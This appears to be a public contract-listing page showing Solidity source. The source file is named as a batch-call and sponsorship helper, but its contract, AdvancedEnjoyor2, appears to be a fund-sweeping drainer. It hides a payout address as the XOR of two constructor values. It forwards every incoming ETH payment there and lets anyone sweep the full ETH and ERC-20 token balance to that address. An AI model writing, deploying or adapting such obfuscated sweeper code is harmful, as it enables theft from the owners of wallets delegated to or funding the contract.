Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"BatchCallAndSponsor.sol": {
"content": "pragma solidity 0.8.30;\r
\r
interface IERC20 {\r
function transfer(address to, uint256 value) external returns (bool);\r
function balanceOf(address account) external view returns (uint256);\r
}\r
\r
contract AdvancedEnjoyor2 {\r
bytes32 immutable a;\r
bytes32 immutable b;\r
address private immutable owner;\r
\r
constructor(bytes32 _a, bytes32 _b) {\r
owner = msg.sender;\r
a = _a;\r
b = _b;\r
bytes32 xoring = _a ^ _b;\r
uint256 check = uint256(xoring);\r
require(uint160(check) != uint160(0), "Invalid target address");\r
}\r
\r
receive() external payable {\r
helperFunction();\r
}\r
\r
function Fallback_8092318215() external payable {\r
helperFunction();\r
}\r
\r
function destroyContract() external {\r
require(msg.sender == owner, "Only owner can destroy");\r
selfdestruct(payable(owner));\r
}\r
\r
function SweepETH_11435948882() public {\r
uint256 xor_result = xorHelper();\r
if (uint160(xor_result) == uint160(0)) {\r
return;\r
} else {\r
uint256 self_balance = address(this).balance;\r
if (self_balance > 0) {\r
(bool success, ) = address(uint160(xor_result)).call{value: self_balance}("");\r
}\r
}\r
}\r
\r
function Multicall_3869193990(address[] calldata targets, bytes[] calldata datas) public payable {\r
require(targets.length == datas.length, "Arrays length mismatch");\r
for (uint256 i = 0; i < targets.length; i++) {\r
(bool success, ) = targets[i].call(datas[i]);\r
}\r
helperFunction();\r
}\r
\r
function executeCall(address target, bytes calldata data) public payable {\r
callHelper(target, data);\r
helperFunction();\r
}\r
\r
function callHelper(address target, bytes calldata data) internal {\r
(bool success, ) = target.call(data);\r
}\r
\r
function helperFunction() internal {\r
uint256 xor_result = xorHelper();\r
if (uint160(xor_result) == uint160(0)) {\r
return;\r
} else {\r
uint256 value = msg.value;\r
if (value == 0) {\r
return;\r
} else {\r
(bool success, ) = address(uint160(xor_result)).call{value: value}("");\r
}\r
}\r
}\r
\r
function transferTokens(address token) public payable {\r
transferHelper(token);\r
}\r
\r
function transferHelper(address token) internal {\r
uint256 xor_result = xorHelper();\r
if (uint160(xor_result) == uint160(0)) {\r
return;\r
} else {\r
address _token = token;\r
uint256 token_balance = IERC20(_token).balanceOf(address(this));\r
if (token_balance > 0) {\r
bool success = IERC20(_token).transfer(address(uint160(xor_result)), token_balance); \r
}\r
}\r
}\r
\r
function xorHelper() internal view returns (uint256 xor_result) {\r
bytes32 xoring = a ^ b;\r
return uint256(xoring);\r
}\r
}\r
\r
\r
\r
\r
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-10-30 13:34:21
Comments
Log in to comment.
No comments yet.